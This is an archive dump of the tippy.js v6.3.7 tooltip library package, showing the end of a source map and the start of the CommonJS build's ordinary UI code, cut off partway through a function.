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"} dist/tippy.cjs.js 0000666 00000220763 15167156642 0010023 0 ustar 00 /**! * tippy.js v6.3.7 * (c) 2017-2021 atomiks * MIT License */ 'use strict'; Object.defineProperty(exports, '__esModule', { value: true }); var core = require('@popperjs/core'); var ROUND_ARROW = '<svg width="16" height="6" xmlns="http://www.w3.org/2000/svg"><path d="M0 6s1.796-.013 4.67-3.615C5.851.9 6.93.006 8 0c1.07-.006 2.148.887 3.343 2.385C14.233 6.005 16 6 16 6H0z"></svg>'; var BOX_CLASS = "tippy-box"; var CONTENT_CLASS = "tippy-content"; var BACKDROP_CLASS = "tippy-backdrop"; var ARROW_CLASS = "tippy-arrow"; var SVG_ARROW_CLASS = "tippy-svg-arrow"; var TOUCH_OPTIONS = { passive: true, capture: true }; var TIPPY_DEFAULT_APPEND_TO = function TIPPY_DEFAULT_APPEND_TO() { return document.body; }; function hasOwnProperty(obj, key) { return {}.hasOwnProperty.call(obj, key); } function getValueAtIndexOrReturn(value, index, defaultValue) { if (Array.isArray(value)) { var v = value[index]; return v == null ? Array.isArray(defaultValue) ? defaultValue[index] : defaultValue : v; } return value; } function isType(value, type) { var str = {}.toString.call(value); return str.indexOf('[object') === 0 && str.indexOf(type + "]") > -1; } function invokeWithArgsOrReturn(value, args) { return typeof value === 'function' ? value.apply(void 0, args) : value; } function debounce(fn, ms) { // Avoid wrapping in `setTimeout` if ms is 0 anyway if (ms === 0) { return fn; } var timeout; return function (arg) { clearTimeout(timeout); timeout = setTimeout(function () { fn(arg); }, ms); }; } function removeProperties(obj, keys) { var clone = Object.assign({}, obj); keys.forEach(function (key) { delete clone[key]; }); return clone; } function splitBySpaces(value) { return value.split(/\s+/).filter(Boolean); } function normalizeToArray(value) { return [].concat(value); } function pushIfUnique(arr, value) { if (arr.indexOf(value) === -1) { arr.push(value); } } function unique(arr) { return arr.filter(function (item, index) { return arr.indexOf(item) === index; }); } function getBasePlacement(placement) { return placement.split('-')[0]; } function arrayFrom(value) { return [].slice.call(value); } function removeUndefinedProps(obj) { return Object.keys(obj).reduce(function (acc, key) { if (obj[key] !== undefined) { acc[key] = obj[key]; } return acc; }, {}); } function div() { return document.createElement('div'); } function isElement(value) { return ['Element', 'Fragment'].some(function (type) { return isType(value, type); }); } function isNodeList(value) { return isType(value, 'NodeList'); } function isMouseEvent(value) { return isType(value, 'MouseEvent'); } function isReferenceElement(value) { return !!(value && value._tippy && value._tippy.reference === value); } function getArrayOfElements(value) { if (isElement(value)) { return [value]; } if (isNodeList(value)) { return arrayFrom(value); } if (Array.isArray(value)) { return value; } return arrayFrom(document.querySelectorAll(value)); } function setTransitionDuration(els, value) { els.forEach(function (el) { if (el) { el.style.transitionDuration = value + "ms"; } }); } function setVisibilityState(els, state) { els.forEach(function (el) { if (el) { el.setAttribute('data-state', state); } }); } function getOwnerDocument(elementOrElements) { var _element$ownerDocumen; var _normalizeToArray = normalizeToArray(elementOrElements), element = _normalizeToArray[0]; // Elements created via a <template> have an ownerDocument with no reference to the body return element != null && (_element$ownerDocumen = element.ownerDocument) != null && _element$ownerDocumen.body ? element.ownerDocument : document; } function isCursorOutsideInteractiveBorder(popperTreeData, event) { var clientX = event.clientX, clientY = event.clientY; return popperTreeData.every(function (_ref) { var popperRect = _ref.popperRect, popperState = _ref.popperState, props = _ref.props; var interactiveBorder = props.interactiveBorder; var basePlacement = getBasePlacement(popperState.placement); var offsetData = popperState.modifiersData.offset; if (!offsetData) { return true; } var topDistance = basePlacement === 'bottom' ? offsetData.top.y : 0; var bottomDistance = basePlacement === 'top' ? offsetData.bottom.y : 0; var leftDistance = basePlacement === 'right' ? offsetData.left.x : 0; var rightDistance = basePlacement === 'left' ? offsetData.right.x : 0; var exceedsTop = popperRect.top - clientY + topDistance > interactiveBorder; var exceedsBottom = clientY - popperRect.bottom - bottomDistance > interactiveBorder; var exceedsLeft = popperRect.left - clientX + leftDistance > interactiveBorder; var exceedsRight = clientX - popperRect.right - rightDistance > interactiveBorder; return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight; }); } function updateTransitionEndListener(box, action, listener) { var method = action + "EventListener"; // some browsers apparently support `transition` (unprefixed) but only fire // `webkitTransitionEnd`... ['transitionend', 'webkitTransitionEnd'].forEach(function (event) { box[method](event, listener); }); } /** * Compared to xxx.contains, this function works for dom structures with shadow * dom */ function actualContains(parent, child) { var target = child; while (target) { var _target$getRootNode; if (parent.contains(target)) { return true; } target = target.getRootNode == null ? void 0 : (_target$getRootNode = target.getRootNode()) == null ? void 0 : _target$getRootNode.host; } return false; } var currentInput = { isTouch: false }; var lastMouseMoveTime = 0; /** * When a `touchstart` event is fired, it's assumed the user is using touch * input. We'll bind a `mousemove` event listener to listen for mouse input in * the future. This way, the `isTouch` property is fully dynamic and will handle * hybrid devices that use a mix of touch + mouse input. */ function onDocumentTouchStart() { if (currentInput.isTouch) { return; } currentInput.isTouch = true; if (window.performance) { document.addEventListener('mousemove', onDocumentMouseMove); } } /** * When two `mousemove` event are fired consecutively within 20ms, it's assumed * the user is using mouse input again. `mousemove` can fire on touch devices as * well, but very rarely that quickly. */ function onDocumentMouseMove() { var now = performance.now(); if (now - lastMouseMoveTime < 20) { currentInput.isTouch = false; document.removeEventListener('mousemove', onDocumentMouseMove); } lastMouseMoveTime = now; } /** * When an element is in focus and has a tippy, leaving the tab/window and * returning causes it to show again. For mouse users this is unexpected, but * for keyboard use it makes sense. * TODO: find a better technique to solve this problem */ function onWindowBlur() { var activeElement = document.activeElement; if (isReferenceElement(activeElement)) { var instance = activeElement._tippy; if (activeElement.blur && !instance.state.isVisible) { activeElement.blur(); } } } function bindGlobalEventListeners() { document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS); window.addEventListener('blur', onWindowBlur); } var isBrowser = typeof window !== 'undefined' && typeof document !== 'undefined'; var isIE11 = isBrowser ? // @ts-ignore !!window.msCrypto : false; function createMemoryLeakWarning(method) { var txt = method === 'destroy' ? 'n already-' : ' '; return [method + "() was called on a" + txt + "destroyed instance. This is a no-op but", 'indicates a potential memory leak.'].join(' '); } function clean(value) { var spacesAndTabs = /[ \t]{2,}/g; var lineStartWithSpaces = /^[ \t]*/gm; return value.replace(spacesAndTabs, ' ').replace(lineStartWithSpaces, '').trim(); } function getDevMessage(message) { return clean("\n %ctippy.js\n\n %c" + clean(message) + "\n\n %c\uD83D\uDC77\u200D This is a development-only message. It will be removed in production.\n "); } function getFormattedMessage(message) { return [getDevMessage(message), // title 'color: #00C584; font-size: 1.3em; font-weight: bold;', // message 'line-height: 1.5', // footer 'color: #a6a095;']; } // Assume warnings and errors never have the same message var visitedMessages; if (process.env.NODE_ENV !== "production") { resetVisitedMessages(); } function resetVisitedMessages() { visitedMessages = new Set(); } function warnWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console; visitedMessages.add(message); (_console = console).warn.apply(_console, getFormattedMessage(message)); } } function errorWhen(condition, message) { if (condition && !visitedMessages.has(message)) { var _console2; visitedMessages.add(message); (_console2 = console).error.apply(_console2, getFormattedMessage(message)); } } function validateTargets(targets) { var didPassFalsyValue = !targets; var didPassPlainObject = Object.prototype.toString.call(targets) === '[object Object]' && !targets.addEventListener; errorWhen(didPassFalsyValue, ['tippy() was passed', '`' + String(targets) + '`', 'as its targets (first) argument. Valid types are: String, Element,', 'Element[], or NodeList.'].join(' ')); errorWhen(didPassPlainObject, ['tippy() was passed a plain object which is not supported as an argument', 'for virtual positioning. Use props.getReferenceClientRect instead.'].join(' ')); } var pluginProps = { animateFill: false, followCursor: false, inlinePositioning: false, sticky: false }; var renderProps = { allowHTML: false, animation: 'fade', arrow: true, content: '', inertia: false, maxWidth: 350, role: 'tooltip', theme: '', zIndex: 9999 }; var defaultProps = Object.assign({ appendTo: TIPPY_DEFAULT_APPEND_TO, aria: { content: 'auto', expanded: 'auto' }, delay: 0, duration: [300, 250], getReferenceClientRect: null, hideOnClick: true, ignoreAttributes: false, interactive: false, interactiveBorder: 2, interactiveDebounce: 0, moveTransition: '', offset: [0, 10], onAfterUpdate: function onAfterUpdate() {}, onBeforeUpdate: function onBeforeUpdate() {}, onCreate: function onCreate() {}, onDestroy: function onDestroy() {}, onHidden: function onHidden() {}, onHide: function onHide() {}, onMount: function onMount() {}, onShow: function onShow() {}, onShown: function onShown() {}, onTrigger: function onTrigger() {}, onUntrigger: function onUntrigger() {}, onClickOutside: function onClickOutside() {}, placement: 'top', plugins: [], popperOptions: {}, render: null, showOnCreate: false, touch: true, trigger: 'mouseenter focus', triggerTarget: null }, pluginProps, renderProps); var defaultKeys = Object.keys(defaultProps); var setDefaultProps = function setDefaultProps(partialProps) { /* istanbul ignore else */ if (process.env.NODE_ENV !== "production") { validateProps(partialProps, []); } var keys = Object.keys(partialProps); keys.forEach(function (key) { defaultProps[key] = partialProps[key]; }); }; function getExtendedPassedProps(passedProps) { var plugins = passedProps.plugins || []; var pluginProps = plugins.reduce(function (acc, plugin) { var name = plugin.name, defaultValue = plugin.defaultValue; if (name) { var _name; acc[name] = passedProps[name] !== undefined ? passedProps[name] : (_name = defaultProps[name]) != null ? _name : defaultValue; } return acc; }, {}); return Object.assign({}, passedProps, pluginProps); } function getDataAttributeProps(reference, plugins) { var propKeys = plugins ? Object.keys(getExtendedPassedProps(Object.assign({}, defaultProps, { plugins: plugins }))) : defaultKeys; var props = propKeys.reduce(function (acc, key) { var valueAsString = (reference.getAttribute("data-tippy-" + key) || '').trim(); if (!valueAsString) { return acc; } if (key === 'content') { acc[key] = valueAsString; } else { try { acc[key] = JSON.parse(valueAsString); } catch (e) { acc[key] = valueAsString; } } return acc; }, {}); return props; } function evaluateProps(reference, props) { var out = Object.assign({}, props, { content: invokeWithArgsOrReturn(props.content, [reference]) }, props.ignoreAttributes ? {} : getDataAttributeProps(reference, props.plugins)); out.aria = Object.assign({}, defaultProps.aria, out.aria); out.aria = { expanded: out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded, content: out.aria.content === 'auto' ? props.interactive ? null : 'describedby' : out.aria.content }; return out; } function validateProps(partialProps, plugins) { if (partialProps === void 0) { partialProps = {}; } if (plugins === void 0) { plugins = []; } var keys = Object.keys(partialProps); keys.forEach(function (prop) { var nonPluginProps = removeProperties(defaultProps, Object.keys(pluginProps)); var didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop); // Check if the prop exists in `plugins` if (didPassUnknownProp) { didPassUnknownProp = plugins.filter(function (plugin) { return plugin.name === prop; }).length === 0; } warnWhen(didPassUnknownProp, ["`" + prop + "`", "is not a valid prop. You may have spelled it incorrectly, or if it's", 'a plugin, forgot to pass it in an array as props.plugins.', '\n\n', 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\n', 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/'].join(' ')); }); } var innerHTML = function innerHTML() { return 'innerHTML'; }; function dangerouslySetInnerHTML(element, html) { element[innerHTML()] = html; } function createArrowElement(value) { var arrow = div(); if (value === true) { arrow.className = ARROW_CLASS; } else { arrow.className = SVG_ARROW_CLASS; if (isElement(value)) { arrow.appendChild(value); } else { dangerouslySetInnerHTML(arrow, value); } } return arrow; } function setContent(content, props) { if (isElement(props.content)) { dangerouslySetInnerHTML(content, ''); content.appendChild(props.content); } else if (typeof props.content !== 'function') { if (props.allowHTML) { dangerouslySetInnerHTML(content, props.content); } else { content.textContent = props.content; } } } function getChildren(popper) { var box = popper.firstElementChild; var boxChildren = arrayFrom(box.children); return { box: box, content: boxChildren.find(function (node) { return node.classList.contains(CONTENT_CLASS); }), arrow: boxChildren.find(function (node) { return node.classList.contains(ARROW_CLASS) || node.classList.contains(SVG_ARROW_CLASS); }), backdrop: boxChildren.find(function (node) { return node.classList.contains(BACKDROP_CLASS); }) }; } function render(instance) { var popper = div(); var box = div(); box.className = BOX_CLASS; box.setAttribute('data-state', 'hidden'); box.setAttribute('tabindex', '-1'); var content = div(); content.className = CONTENT_CLASS; content.setAttribute('data-state', 'hidden'); setContent(content, instance.props); popper.appendChild(box); box.appendChild(content); onUpdate(instance.props, instance.props); function onUpdate(prevProps, nextProps) { var _getChildren = getChildren(popper), box = _getChildren.box, content = _getChildren.content, arrow = _getChildren.arrow; if (nextProps.theme) { box.setAttribute('data-theme', nextProps.theme); } else { box.removeAttribute('data-theme'); } if (typeof nextProps.animation === 'string') { box.setAttribute('data-animation', nextProps.animation); } else { box.removeAttribute('data-animation'); } if (nextProps.inertia) { box.setAttribute('data-inertia', ''); } else { box.removeAttribute('data-inertia'); } box.style.maxWidth = typeof nextProps.maxWidth === 'number' ? nextProps.maxWidth + "px" : nextProps.maxWidth; if (nextProps.role) { box.setAttribute('role', nextProps.role); } else { box.removeAttribute('role'); } if (prevProps.content !== nextProps.content || prevProps.allowHTML !== nextProps.allowHTML) { setContent(content, instance.props); } if (nextProps.arrow) { if (!arrow) { box.appendChild(createArrowElement(nextProps.arrow)); } else if (prevProps.arrow !== nextProps.arrow) { box.removeChild(arrow); box.appendChild(createArrowElement(nextProps.arrow)); } } else if (arrow) { box.removeChild(arrow); } } return { popper: popper, onUpdate: onUpdate }; } // Runtime check to identify if the render function is the default one; this // way we can apply default CSS transitions logic and it can be tree-shaken away render.$$tippy = true; var idCounter = 1; var mouseMoveListeners = []; // Used by `hideAll()` var mountedInstances = []; function createTippy(reference, passedProps) { var props = evaluateProps(reference, Object.assign({}, defaultProps, getExtendedPassedProps(removeUndefinedProps(passedProps)))); // =========================================================================== // 🔒 Private members // =========================================================================== var showTimeout; var hideTimeout; var scheduleHideAnimationFrame; var isVisibleFromClick = false; var didHideDueToDocumentMouseDown = false; var didTouchMove = false; var ignoreOnFirstUpdate = false; var lastTriggerEvent; var currentTransitionEndListener; var onFirstUpdate; var listeners = []; var debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce); var currentTarget; // =========================================================================== // 🔑 Public members // =========================================================================== var id = idCounter++; var popperInstance = null; var plugins = unique(props.plugins); var state = { // Is the instance currently enabled? isEnabled: true, // Is the tippy currently showing and not transitioning out? isVisible: false, // Has the instance been destroyed? isDestroyed: false, // Is the tippy currently mounted to the DOM? isMounted: false, // Has the tippy finished transitioning in? isShown: false }; var instance = { // properties id: id, reference: reference, popper: div(), popperInstance: popperInstance, props: props, state: state, plugins: plugins, // methods clearDelayTimeouts: clearDelayTimeouts, setProps: setProps, setContent: setContent, show: show, hide: hide, hideWithInteractivity: hideWithInteractivity, enable: enable, disable: disable, unmount: unmount, destroy: destroy }; // TODO: Investigate why this early return causes a TDZ error in the tests — // it doesn't seem to happen in the browser /* istanbul ignore if */ if (!props.render) { if (process.env.NODE_ENV !== "production") { errorWhen(true, 'render() function has not been supplied.'); } return instance; } // =========================================================================== // Initial mutations // =========================================================================== var _props$render = props.render(instance), popper = _props$render.popper, onUpdate = _props$render.onUpdate; popper.setAttribute('data-tippy-root', ''); popper.id = "tippy-" + instance.id; instance.popper = popper; reference._tippy = instance; popper._tippy = instance; var pluginsHooks = plugins.map(function (plugin) { return plugin.fn(instance); }); var hasAriaExpanded = reference.hasAttribute('aria-expanded'); addListeners(); handleAriaExpandedAttribute(); handleStyles(); invokeHook('onCreate', [instance]); if (props.showOnCreate) { scheduleShow(); } // Prevent a tippy with a delay from hiding if the cursor left then returned // before it started hiding popper.addEventListener('mouseenter', function () { if (instance.props.interactive && instance.state.isVisible) { instance.clearDelayTimeouts(); } }); popper.addEventListener('mouseleave', function () { if (instance.props.interactive && instance.props.trigger.indexOf('mouseenter') >= 0) { getDocument().addEventListener('mousemove', debouncedOnMouseMove); } }); return instance; // =========================================================================== // 🔒 Private methods // =========================================================================== function getNormalizedTouchSettings() { var touch = instance.props.touch; return Array.isArray(touch) ? touch : [touch, 0]; } function getIsCustomTouchBehavior() { return getNormalizedTouchSettings()[0] === 'hold'; } function getIsDefaultRenderFn() { var _instance$props$rende; // @ts-ignore return !!((_instance$props$rende = instance.props.render) != null && _instance$props$rende.$$tippy); } function getCurrentTarget() { return currentTarget || reference; } function getDocument() { var parent = getCurrentTarget().parentNode; return parent ? getOwnerDocument(parent) : document; } function getDefaultTemplateChildren() { return getChildren(popper); } function getDelay(isShow) { // For touch or keyboard input, force `0` delay for UX reasons // Also if the instance is mounted but not visible (transitioning out), // ignore delay if (instance.state.isMounted && !instance.state.isVisible || currentInput.isTouch || lastTriggerEvent && lastTriggerEvent.type === 'focus') { return 0; } return getValueAtIndexOrReturn(instance.props.delay, isShow ? 0 : 1, defaultProps.delay); } function handleStyles(fromHide) { if (fromHide === void 0) { fromHide = false; } popper.style.pointerEvents = instance.props.interactive && !fromHide ? '' : 'none'; popper.style.zIndex = "" + instance.props.zIndex; } function invokeHook(hook, args, shouldInvokePropsHook) { if (shouldInvokePropsHook === void 0) { shouldInvokePropsHook = true; } pluginsHooks.forEach(function (pluginHooks) { if (pluginHooks[hook]) { pluginHooks[hook].apply(pluginHooks, args); } }); if (shouldInvokePropsHook) { var _instance$props; (_instance$props = instance.props)[hook].apply(_instance$props, args); } } function handleAriaContentAttribute() { var aria = instance.props.aria; if (!aria.content) { return; } var attr = "aria-" + aria.content; var id = popper.id; var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { var currentValue = node.getAttribute(attr); if (instance.state.isVisible) { node.setAttribute(attr, currentValue ? currentValue + " " + id : id); } else { var nextValue = currentValue && currentValue.replace(id, '').trim(); if (nextValue) { node.setAttribute(attr, nextValue); } else { node.removeAttribute(attr); } } }); } function handleAriaExpandedAttribute() { if (hasAriaExpanded || !instance.props.aria.expanded) { return; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { if (instance.props.interactive) { node.setAttribute('aria-expanded', instance.state.isVisible && node === getCurrentTarget() ? 'true' : 'false'); } else { node.removeAttribute('aria-expanded'); } }); } function cleanupInteractiveMouseListeners() { getDocument().removeEventListener('mousemove', debouncedOnMouseMove); mouseMoveListeners = mouseMoveListeners.filter(function (listener) { return listener !== debouncedOnMouseMove; }); } function onDocumentPress(event) { // Moved finger to scroll instead of an intentional tap outside if (currentInput.isTouch) { if (didTouchMove || event.type === 'mousedown') { return; } } var actualTarget = event.composedPath && event.composedPath()[0] || event.target; // Clicked on interactive popper if (instance.props.interactive && actualContains(popper, actualTarget)) { return; } // Clicked on the event listeners target if (normalizeToArray(instance.props.triggerTarget || reference).some(function (el) { return actualContains(el, actualTarget); })) { if (currentInput.isTouch) { return; } if (instance.state.isVisible && instance.props.trigger.indexOf('click') >= 0) { return; } } else { invokeHook('onClickOutside', [instance, event]); } if (instance.props.hideOnClick === true) { instance.clearDelayTimeouts(); instance.hide(); // `mousedown` event is fired right before `focus` if pressing the // currentTarget. This lets a tippy with `focus` trigger know that it // should not show didHideDueToDocumentMouseDown = true; setTimeout(function () { didHideDueToDocumentMouseDown = false; }); // The listener gets added in `scheduleShow()`, but this may be hiding it // before it shows, and hide()'s early bail-out behavior can prevent it // from being cleaned up if (!instance.state.isMounted) { removeDocumentPress(); } } } function onTouchMove() { didTouchMove = true; } function onTouchStart() { didTouchMove = false; } function addDocumentPress() { var doc = getDocument(); doc.addEventListener('mousedown', onDocumentPress, true); doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function removeDocumentPress() { var doc = getDocument(); doc.removeEventListener('mousedown', onDocumentPress, true); doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS); doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS); doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS); } function onTransitionedOut(duration, callback) { onTransitionEnd(duration, function () { if (!instance.state.isVisible && popper.parentNode && popper.parentNode.contains(popper)) { callback(); } }); } function onTransitionedIn(duration, callback) { onTransitionEnd(duration, callback); } function onTransitionEnd(duration, callback) { var box = getDefaultTemplateChildren().box; function listener(event) { if (event.target === box) { updateTransitionEndListener(box, 'remove', listener); callback(); } } // Make callback synchronous if duration is 0 // `transitionend` won't fire otherwise if (duration === 0) { return callback(); } updateTransitionEndListener(box, 'remove', currentTransitionEndListener); updateTransitionEndListener(box, 'add', listener); currentTransitionEndListener = listener; } function on(eventType, handler, options) { if (options === void 0) { options = false; } var nodes = normalizeToArray(instance.props.triggerTarget || reference); nodes.forEach(function (node) { node.addEventListener(eventType, handler, options); listeners.push({ node: node, eventType: eventType, handler: handler, options: options }); }); } function addListeners() { if (getIsCustomTouchBehavior()) { on('touchstart', onTrigger, { passive: true }); on('touchend', onMouseLeave, { passive: true }); } splitBySpaces(instance.props.trigger).forEach(function (eventType) { if (eventType === 'manual') { return; } on(eventType, onTrigger); switch (eventType) { case 'mouseenter': on('mouseleave', onMouseLeave); break; case 'focus': on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut); break; case 'focusin': on('focusout', onBlurOrFocusOut); break; } }); } function removeListeners() { listeners.forEach(function (_ref) { var node = _ref.node, eventType = _ref.eventType, handler = _ref.handler, options = _ref.options; node.removeEventListener(eventType, handler, options); }); listeners = []; } function onTrigger(event) { var _lastTriggerEvent; var shouldScheduleClickHide = false; if (!instance.state.isEnabled || isEventListenerStopped(event) || didHideDueToDocumentMouseDown) { return; } var wasFocused = ((_lastTriggerEvent = lastTriggerEvent) == null ? void 0 : _lastTriggerEvent.type) === 'focus'; lastTriggerEvent = event; currentTarget = event.currentTarget; handleAriaExpandedAttribute(); if (!instance.state.isVisible && isMouseEvent(event)) { // If scrolling, `mouseenter` events can be fired if the cursor lands // over a new target, but `mousemove` events don't get fired. This // causes interactive tooltips to get stuck open until the cursor is // moved mouseMoveListeners.forEach(function (listener) { return listener(event); }); } // Toggle show/hide when clicking click-triggered tooltips if (event.type === 'click' && (instance.props.trigger.indexOf('mouseenter') < 0 || isVisibleFromClick) && instance.props.hideOnClick !== false && instance.state.isVisible) { shouldScheduleClickHide = true; } else { scheduleShow(event); } if (event.type === 'click') { isVisibleFromClick = !shouldScheduleClickHide; } if 